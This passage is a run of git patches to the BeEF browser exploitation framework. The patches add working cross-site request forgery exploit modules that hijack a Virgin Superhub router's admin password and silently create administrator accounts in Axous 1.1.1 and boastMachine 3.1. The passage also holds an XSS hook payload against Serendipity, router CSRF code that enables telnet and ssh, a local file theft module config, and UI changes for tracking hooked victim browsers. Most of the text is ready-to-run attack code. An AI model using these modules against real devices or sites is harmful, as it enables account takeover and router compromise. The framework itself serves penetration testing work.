+			{'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]=\'"</script><script src="'+hook_uri+'"></script>'}
+		]
+
+	end
+
+	def post_execute
+		save({'result' => @datastore['result']})
+	end
+
+end

From 771d6d60f9cb077c62e6d163e3ac7e1a8c89576f Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sun, 24 Jun 2012 15:22:35 +0930
Subject: [PATCH 09/17] Added Virgin Superhub CSRF module

Fixes issue #703
---
 .../router/virgin_superhub_csrf/command.js    | 35 +++++++++++++++++++
 .../router/virgin_superhub_csrf/config.yaml   | 25 +++++++++++++
 .../router/virgin_superhub_csrf/module.rb     | 29 +++++++++++++++
 3 files changed, 89 insertions(+)
 create mode 100644 modules/exploits/router/virgin_superhub_csrf/command.js
 create mode 100644 modules/exploits/router/virgin_superhub_csrf/config.yaml
 create mode 100644 modules/exploits/router/virgin_superhub_csrf/module.rb

diff --git a/modules/exploits/router/virgin_superhub_csrf/command.js b/modules/exploits/router/virgin_superhub_csrf/command.js
new file mode 100644
index 000000000..5acb91421
--- /dev/null
+++ b/modules/exploits/router/virgin_superhub_csrf/command.js
@@ -0,0 +1,35 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+
+	var gateway = '<%= @base %>'; 
+	var passwd  = '<%= @password %>';
+
+	var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "/goform/RgSecurity", "POST", [
+		{'type':'hidden', 'name':'NetgearPassword', 'value':passwd} ,
+		{'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd},
+		{'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'}
+	]);
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+
+	cleanup = function() {
+		document.body.removeChild(virgin_superhub_iframe);
+	}
+	setTimeout("cleanup()", 15000);
+
+});
+
diff --git a/modules/exploits/router/virgin_superhub_csrf/config.yaml b/modules/exploits/router/virgin_superhub_csrf/config.yaml
new file mode 100644
index 000000000..11c11a548
--- /dev/null
+++ b/modules/exploits/router/virgin_superhub_csrf/config.yaml
@@ -0,0 +1,25 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        virgin_superhub_csrf:
+            enable: true
+            category: ["Exploits", "Router"]
+            name: "Virgin Superhub CSRF"
+            description: "Attempts to change the admin password on a Virgin Superhub router."
+            authors: ["bcoles"]
+            target:
+                working: ["ALL"]
diff --git a/modules/exploits/router/virgin_superhub_csrf/module.rb b/modules/exploits/router/virgin_superhub_csrf/module.rb
new file mode 100644
index 000000000..8a2e5a2d1
--- /dev/null
+++ b/modules/exploits/router/virgin_superhub_csrf/module.rb
@@ -0,0 +1,29 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Virgin_superhub_csrf < BeEF::Core::Command
+  
+	def self.options
+		return [
+			{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.254/'}, 
+			{'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
+		]
+	end
+
+	def post_execute
+		save({'result' => @datastore['result']})
+	end
+
+end

From 1bf9061c1ab45d871bbeb2b02e9bb493b191f0e8 Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sun, 24 Jun 2012 17:10:37 +0930
Subject: [PATCH 10/17] Added a couple of CSRF modules:

	o ./modules/exploits/boastmachine_3_1_add_user_csrf/
	o ./modules/exploits/axous_1_1_1_add_user_csrf/

Updated a few exploit titles
---
 .../axous_1_1_1_add_user_csrf/command.js      | 40 ++++++++++++++++++
 .../axous_1_1_1_add_user_csrf/config.yaml     | 25 +++++++++++
 .../axous_1_1_1_add_user_csrf/module.rb       | 31 ++++++++++++++
 .../boastmachine_3_1_add_user_csrf/command.js | 41 +++++++++++++++++++
 .../config.yaml                               | 25 +++++++++++
 .../boastmachine_3_1_add_user_csrf/module.rb  | 31 ++++++++++++++
 .../config.yaml                               |  2 +-
 .../exploits/zenoss_add_user_csrf/config.yaml |  2 +-
 .../exploits/zenoss_daemon_csrf/config.yaml   |  2 +-
 9 files changed, 196 insertions(+), 3 deletions(-)
 create mode 100644 modules/exploits/axous_1_1_1_add_user_csrf/command.js
 create mode 100644 modules/exploits/axous_1_1_1_add_user_csrf/config.yaml
 create mode 100644 modules/exploits/axous_1_1_1_add_user_csrf/module.rb
 create mode 100644 modules/exploits/boastmachine_3_1_add_user_csrf/command.js
 create mode 100644 modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml
 create mode 100644 modules/exploits/boastmachine_3_1_add_user_csrf/module.rb

diff --git a/modules/exploits/axous_1_1_1_add_user_csrf/command.js b/modules/exploits/axous_1_1_1_add_user_csrf/command.js
new file mode 100644
index 000000000..bfa12a6a6
--- /dev/null
+++ b/modules/exploits/axous_1_1_1_add_user_csrf/command.js
@@ -0,0 +1,40 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+	var base     = '<%= @base %>'; 
+	var username = '<%= @username %>';
+	var password = '<%= @password %>';
+	var email    = '<%= @email %>';
+
+	var axous_iframe = beef.dom.createIframeXsrfForm(base, "POST", [
+		{'type':'hidden', 'name':'user_name',   'value':username},
+		{'type':'hidden', 'name':'new_passwd',  'value':password},
+		{'type':'hidden', 'name':'new_passwd1', 'value':password},
+		{'type':'hidden', 'name':'email',       'value':email},
+		{'type':'hidden', 'name':'dosubmit',    'value':'1'} ,
+		{'type':'hidden', 'name':'id',          'value':''},
+		{'type':'hidden', 'name':'action',      'value':'addnew'} ,
+	]);
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+
+	cleanup = function() {
+		document.body.removeChild(axous_iframe);
+	}
+	setTimeout("cleanup()", 15000);
+
+});
+
diff --git a/modules/exploits/axous_1_1_1_add_user_csrf/config.yaml b/modules/exploits/axous_1_1_1_add_user_csrf/config.yaml
new file mode 100644
index 000000000..4231dc7e8
--- /dev/null
+++ b/modules/exploits/axous_1_1_1_add_user_csrf/config.yaml
@@ -0,0 +1,25 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        axous_add_user_csrf:
+            enable: true
+            category: "Exploits"
+            name: "Axous <= 1.1.1 Add User CSRF"
+            description: "Attempts to add a user to an Axous <= 1.1.1 install (CVE-2012-2629)."
+            authors: ["bcoles", "Ivano Binetti"]
+            target:
+                working: ["ALL"]
diff --git a/modules/exploits/axous_1_1_1_add_user_csrf/module.rb b/modules/exploits/axous_1_1_1_add_user_csrf/module.rb
new file mode 100644
index 000000000..ba7f8e63e
--- /dev/null
+++ b/modules/exploits/axous_1_1_1_add_user_csrf/module.rb
@@ -0,0 +1,31 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Axous_add_user_csrf < BeEF::Core::Command
+
+	def self.options
+		return [
+			{ 'name' => 'base', 'ui_label' => 'Axous URL', 'value' => 'http://target/admin/administrators_add.php'},
+			{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username'},
+			{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password'},
+			{ 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => 'email@example.com'}
+		]
+	end
+
+	def post_execute
+		save({'result' => @datastore['result']})
+	end
+
+end
diff --git a/modules/exploits/boastmachine_3_1_add_user_csrf/command.js b/modules/exploits/boastmachine_3_1_add_user_csrf/command.js
new file mode 100644
index 000000000..7e312ae66
--- /dev/null
+++ b/modules/exploits/boastmachine_3_1_add_user_csrf/command.js
@@ -0,0 +1,41 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+	var base     = '<%= @base %>'; 
+	var username = '<%= @username %>';
+	var password = '<%= @password %>';
+	var email    = '<%= @email %>';
+
+	var boastmachine_iframe = beef.dom.createIframeXsrfForm(base, "POST", [
+		{'type':'hidden', 'name':'action',     'value':'add_user'},
+		{'type':'hidden', 'name':'do',         'value':'add'},
+		{'type':'hidden', 'name':'user_login', 'value':username},
+		{'type':'hidden', 'name':'user_pass',  'value':password},
+		{'type':'hidden', 'name':'user_name',  'value':username},
+		{'type':'hidden', 'name':'user_email', 'value':email},
+		{'type':'hidden', 'name':'blogs[]',    'value':'4'},
+		{'type':'hidden', 'name':'user_level', 'value':'4'},
+	]);
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+
+	cleanup = function() {
+		document.body.removeChild(boastmachine_iframe);
+	}
+	setTimeout("cleanup()", 15000);
+
+});
+
diff --git a/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml b/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml
new file mode 100644
index 000000000..f754f84f7
--- /dev/null
+++ b/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml
@@ -0,0 +1,25 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        boastmachine_add_user_csrf:
+            enable: true
+            category: "Exploits"
+            name: "boastMachine <= 3.1 Add User CSRF"
+            description: "Attempts to add a user to a boastMachine <= 3.1 install."
+            authors: ["bcoles", "Dr.NaNo"]
+            target:
+                working: ["ALL"]
diff --git a/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb b/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb
new file mode 100644
index 000000000..0fcdc068b
--- /dev/null
+++ b/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb
@@ -0,0 +1,31 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Boastmachine_add_user_csrf < BeEF::Core::Command
+
+	def self.options
+		return [
+			{ 'name' => 'base', 'ui_label' => 'boastMachine URL', 'value' => 'http://target/bmc/admin.php?action=add_user&blog'},
+			{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username'},
+			{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password'},
+			{ 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => 'email@example.com'}
+		]
+	end
+
+	def post_execute
+		save({'result' => @datastore['result']})
+	end
+
+end
diff --git a/modules/exploits/spring_framework_malicious_jar/config.yaml b/modules/exploits/spring_framework_malicious_jar/config.yaml
index 87d59d542..1dbaace8f 100644
--- a/modules/exploits/spring_framework_malicious_jar/config.yaml
+++ b/modules/exploits/spring_framework_malicious_jar/config.yaml
@@ -18,7 +18,7 @@ beef:
         spring_framework_malicious_jar:
             enable: true
             category: "Exploits"
-            name: "Spring Framework Malicious Jar"
+            name: "Spring Framework Malicious Jar Exploit"
             description: "Execute a malicious JAR file using the Spring Framework 'class.classloader' vulnerability (CVE-2010-1622).<br/>Specify the URL for a form controller on the target and the URL for your malicious JAR file.<br/>For more information see: http://www.exploit-db.com/exploits/13918/<br/><br/>Versions Affected:<br/>3.0.0 to 3.0.2<br/>2.5.0 to 2.5.6.SEC01 (community releases)<br/>2.5.0 to 2.5.7 (subscription customers)"
             authors: ["bcoles"]
             target:
diff --git a/modules/exploits/zenoss_add_user_csrf/config.yaml b/modules/exploits/zenoss_add_user_csrf/config.yaml
index 3ae083e7a..eaf9a25f5 100644
--- a/modules/exploits/zenoss_add_user_csrf/config.yaml
+++ b/modules/exploits/zenoss_add_user_csrf/config.yaml
@@ -18,7 +18,7 @@ beef:
         zenoss_add_user_csrf:
             enable: true
             category: "Exploits"
-            name: "Zenoss Add User CSRF"
+            name: "Zenoss <= 3.2.1 Add User CSRF"
             description: "Attempts to add a user to a Zenoss Core <= 3.2.1 server."
             authors: ["bcoles"]
             target:
diff --git a/modules/exploits/zenoss_daemon_csrf/config.yaml b/modules/exploits/zenoss_daemon_csrf/config.yaml
index 9249f7d99..923946d5d 100644
--- a/modules/exploits/zenoss_daemon_csrf/config.yaml
+++ b/modules/exploits/zenoss_daemon_csrf/config.yaml
@@ -18,7 +18,7 @@ beef:
         zenoss_daemon_csrf:
             enable: true
             category: "Exploits"
-            name: "Zenoss Daemon CSRF"
+            name: "Zenoss <= 3.2.1 Daemon CSRF"
             description: "Attempts to start/stop/restart daemons on a Zenoss Core <= 3.2.1 server."
             authors: ["bcoles"]
             target:

From 71133869e49f11714d7e9c1e1848d9285333fa19 Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sun, 24 Jun 2012 20:36:10 +0930
Subject: [PATCH 11/17] Added browser details to Hooked Browser balloon
 messages

Fixes issue #521
---
 core/main/models/browserdetails.rb            |  2 +-
 .../admin_ui/controllers/panel/panel.rb       | 34 ++++++++++-----
 .../media/javascript/ui/panel/ZombiesMgr.js   | 43 ++++++++++++++-----
 .../javascript/ui/panel/zombiesTreeList.js    |  4 +-
 4 files changed, 59 insertions(+), 24 deletions(-)

diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb
index 0cd114c75..8a8f79c61 100644
--- a/core/main/models/browserdetails.rb
+++ b/core/main/models/browserdetails.rb
@@ -62,7 +62,7 @@ module Models
     
       browserdetails
     end
-  
+ 
     #
     # Returns the icon representing the browser type the
     # hooked browser is using (i.e. Firefox, Internet Explorer)
diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb
index f50adb121..c67ec41f7 100644
--- a/extensions/admin_ui/controllers/panel/panel.rb
+++ b/extensions/admin_ui/controllers/panel/panel.rb
@@ -84,18 +84,30 @@ class Panel < BeEF::Extension::AdminUI::HttpController
   
   # create a hash of simple hooked browser details
   def get_simple_hooked_browser_hash(hooked_browser)
-    
-    browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
-    os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
-    domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
-    
+
+    browser_name    = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
+	browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion')
+    browser_icon    = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
+    os_icon         = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
+    os_name         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
+    domain          = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
+    has_flash       = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
+    has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
+    date_stamp      =  BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
+
     return {
-      'session' => hooked_browser.session,
-      'ip' => hooked_browser.ip,
-      'domain' => domain,
-      'port' => hooked_browser.port.to_s,
-      'browser_icon' => browser_icon,
-      'os_icon' => os_icon
+      'session'         => hooked_browser.session,
+      'ip'              => hooked_browser.ip,
+      'domain'          => domain,
+      'port'            => hooked_browser.port.to_s,
+      'browser_name'    => browser_name,
+      'browser_version' => browser_version,
+      'browser_icon'    => browser_icon,
+      'os_icon'         => os_icon,
+      'os_name'         => os_name,
+      'has_flash'       => has_flash,
+      'has_web_sockets' => has_web_sockets,
+      'date_stamp'      => date_stamp
     }
     
   end
diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
index c764f94cf..964e586a4 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
@@ -20,18 +20,41 @@ var ZombiesMgr = function(zombies_tree_lists) {
 	
 	// this is a helper class to create a zombie object from a JSON hash index
 	this.zombieFactory = function(index, zombie_array){
-		text = "<img src='/ui/media/images/icons/"+escape(zombie_array[index]["browser_icon"])+"' style='padding-top:3px;' width='13px' height='13px'/> ";
-		text += "<img src='/ui/media/images/icons/"+escape(zombie_array[index]["os_icon"])+"' style='padding-top:3px;' width='13px' height='13px'/> ";
-		text += zombie_array[index]["ip"];
+
+		var ip              = zombie_array[index]["ip"];
+		var session         = zombie_array[index]["session"];
+		var browser_name    = zombie_array[index]["browser_name"];
+		var browser_version = zombie_array[index]["browser_version"];
+		var browser_icon    = zombie_array[index]["browser_icon"];
+		var os_icon         = zombie_array[index]["os_icon"];
+		var os_name         = zombie_array[index]["os_name"];
+		var domain          = zombie_array[index]["domain"];
+		var port            = zombie_array[index]["port"];
+		var has_flash       = zombie_array[index]["has_flash"];
+		var has_web_sockets = zombie_array[index]["has_web_sockets"];
+		var date_stamp      = zombie_array[index]["date_stamp"];
+
+		text = "<img src='/ui/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
+		text+= "<img src='/ui/media/images/icons/"+escape(os_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
+		text+= ip;
+
+		balloon_text = "IP: "+ip;
+		balloon_text+= "<br/>Browser: "     + browser_name + " " + browser_version;
+		balloon_text+= "<br/>System: "      + os_name;
+		balloon_text+= "<br/>Domain: "      + domain + ":" + port;
+		balloon_text+= "<br/>Flash: "       + has_flash;
+		balloon_text+= "<br/>Web Sockets: " + has_web_sockets;
+		balloon_text+= "<br/>Date: "        + date_stamp;
 		
 		var new_zombie = {
-			'id' : index,
-			'ip' :  zombie_array[index]["ip"],
-			'session' : zombie_array[index]["session"],
-			'text': text,
-			'check' : false,
-			'domain' : zombie_array[index]["domain"],
-            'port' : zombie_array[index]["port"]
+			'id'           : index,
+			'ip'           : ip,
+			'session'      : session,
+			'text'         : text,
+			'balloon_text' : balloon_text,
+			'check'        : false,
+			'domain'       : domain,
+            'port'         : port
 		};
 		
 		return new_zombie;
diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
index 247a44fe9..aa04f300f 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
@@ -196,7 +196,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
 		var exists = this.getNodeById(hb_id);
 		if(exists) return;
 
-		hooked_browser.qtip = hooked_browser.text + ' hooked on ' + hooked_browser.domain + ":" + hooked_browser.port;
+		hooked_browser.qtip = hooked_browser.balloon_text;
 
 		//save a new online HB
 		if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) {
@@ -220,7 +220,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
         
 		//creates a new node for that hooked browser
 		node = new Ext.tree.TreeNode(hooked_browser);
-		
+
 		//creates a sub-branch for that HB if necessary
 		mother_node = this.addSubFolder(mother_node, hooked_browser[this.tree_configuration['sub-branch']], checkbox);
 		

From ebe205ad36b010130e6eb729895e9c2668659100 Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sun, 24 Jun 2012 20:44:06 +0930
Subject: [PATCH 12/17] Updated a couple of module configs

modules/exploits/router/virgin_superhub_csrf/config.yaml
modules/misc/local_file_theft/config.yaml
---
 modules/exploits/router/virgin_superhub_csrf/config.yaml | 2 +-
 modules/misc/local_file_theft/config.yaml                | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/router/virgin_superhub_csrf/config.yaml b/modules/exploits/router/virgin_superhub_csrf/config.yaml
index 11c11a548..8d7a7a3c9 100644
--- a/modules/exploits/router/virgin_superhub_csrf/config.yaml
+++ b/modules/exploits/router/virgin_superhub_csrf/config.yaml
@@ -20,6 +20,6 @@ beef:
             category: ["Exploits", "Router"]
             name: "Virgin Superhub CSRF"
             description: "Attempts to change the admin password on a Virgin Superhub router."
-            authors: ["bcoles"]
+            authors: ["bcoles", "n0x00"]
             target:
                 working: ["ALL"]
diff --git a/modules/misc/local_file_theft/config.yaml b/modules/misc/local_file_theft/config.yaml
index 4c44194e1..d6b2c0be4 100644
--- a/modules/misc/local_file_theft/config.yaml
+++ b/modules/misc/local_file_theft/config.yaml
@@ -23,7 +23,7 @@ beef:
             enable: true
             category: "Misc"
             name: "Local File Theft"
-            description: "Javascript may have filesystem access if we are running from a local resource and using the file:// scheme. This module checks common locations and cheekily snaches anything it finds. Shamelessly plagurised from http://kos.io/xsspwn. To test this module save the BeEF hook page locally and open in safari from the your localfile system."
+            description: "JavaScript may have filesystem access if we are running from a local resource and using the file:// scheme.<br/>This module checks common locations and cheekily snaches anything it finds. Shamelessly plagurised from http://kos.io/xsspwn. To test this module save the BeEF hook page locally and open in Safari from the your localfile system."
             authors: ["mh"]
             target:
-                working: ["All"]
+                working: ["S"]

From 7fde875d8ac36f21066e9bed29fbc1fe4783e0c7 Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sun, 24 Jun 2012 22:21:19 +0930
Subject: [PATCH 13/17] Changed default target IP address to
 `http://192.168.100.1/` for the virgin_superhub_csrf module

---
 modules/exploits/router/virgin_superhub_csrf/module.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/router/virgin_superhub_csrf/module.rb b/modules/exploits/router/virgin_superhub_csrf/module.rb
index 8a2e5a2d1..28684484d 100644
--- a/modules/exploits/router/virgin_superhub_csrf/module.rb
+++ b/modules/exploits/router/virgin_superhub_csrf/module.rb
@@ -17,7 +17,7 @@ class Virgin_superhub_csrf < BeEF::Core::Command
   
 	def self.options
 		return [
-			{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.254/'}, 
+			{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.1/'}, 
 			{'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
 		]
 	end

From 9440afacc91add3e54c64d5838b5d8ffa42544de Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Mon, 25 Jun 2012 00:57:26 +0930
Subject: [PATCH 14/17] Removed duplicate `/` from a few CSRF URLs

Just in case it causes issues
---
 modules/exploits/router/comtrend_ct5367_csrf/command.js | 4 ++--
 modules/exploits/router/comtrend_ct5624_csrf/command.js | 2 +-
 modules/exploits/router/dlink_dsl500t_csrf/command.js   | 2 +-
 modules/exploits/router/huawei_smartax_mt880/command.js | 2 +-
 modules/exploits/router/virgin_superhub_csrf/command.js | 2 +-
 5 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/modules/exploits/router/comtrend_ct5367_csrf/command.js b/modules/exploits/router/comtrend_ct5367_csrf/command.js
index fdbedec46..d713b6b06 100644
--- a/modules/exploits/router/comtrend_ct5367_csrf/command.js
+++ b/modules/exploits/router/comtrend_ct5367_csrf/command.js
@@ -18,12 +18,12 @@ beef.execute(function() {
   var passwd = '<%= @password %>';
 
   var ct5367_iframe1 = beef.dom.createInvisibleIframe();
-  ct5367_iframe1.setAttribute('src', gateway+'/scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');
+  ct5367_iframe1.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');
 
   var ct5367_iframe2 = beef.dom.createInvisibleIframe();
 
   var form = document.createElement('form');
-  form.setAttribute('action', gateway + "/password.cgi");
+  form.setAttribute('action', gateway + "password.cgi");
   form.setAttribute('method', 'post');
 
   var input = null;
diff --git a/modules/exploits/router/comtrend_ct5624_csrf/command.js b/modules/exploits/router/comtrend_ct5624_csrf/command.js
index b6cc7ab28..afe248983 100644
--- a/modules/exploits/router/comtrend_ct5624_csrf/command.js
+++ b/modules/exploits/router/comtrend_ct5624_csrf/command.js
@@ -18,7 +18,7 @@ beef.execute(function() {
   var passwd = '<%= @password %>';
 
   var ct5367_iframe1 = beef.dom.createInvisibleIframe();
-  ct5367_iframe1.setAttribute('src', gateway+'/scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');
+  ct5367_iframe1.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');
 
   var ct5367_iframe2 = beef.dom.createInvisibleIframe();
   ct5367_iframe2.setAttribute('src', gateway+'/password.cgi?usrPassword='+passwd+'&sysPassword='+passwd+'&sptPassword='+passwd);
diff --git a/modules/exploits/router/dlink_dsl500t_csrf/command.js b/modules/exploits/router/dlink_dsl500t_csrf/command.js
index ae1c98e23..f25c89a5b 100644
--- a/modules/exploits/router/dlink_dsl500t_csrf/command.js
+++ b/modules/exploits/router/dlink_dsl500t_csrf/command.js
@@ -17,7 +17,7 @@ beef.execute(function() {
   var gateway = '<%= @base %>'; 
   var passwd = '<%= @password %>';
 
-  var dsl500t_iframe = beef.dom.createIframeXsrfForm(gateway + "/cgi-bin/webcm", "POST",
+  var dsl500t_iframe = beef.dom.createIframeXsrfForm(gateway + "cgi-bin/webcm", "POST",
       [{'type':'hidden', 'name':'getpage', 'value':'../html/tools/usrmgmt.htm'} ,
        {'type':'hidden', 'name':'security:settings/username', 'value':'admin'},
        {'type':'hidden', 'name':'security:settings/password', 'value':passwd},
diff --git a/modules/exploits/router/huawei_smartax_mt880/command.js b/modules/exploits/router/huawei_smartax_mt880/command.js
index a749117a8..bfe98e957 100644
--- a/modules/exploits/router/huawei_smartax_mt880/command.js
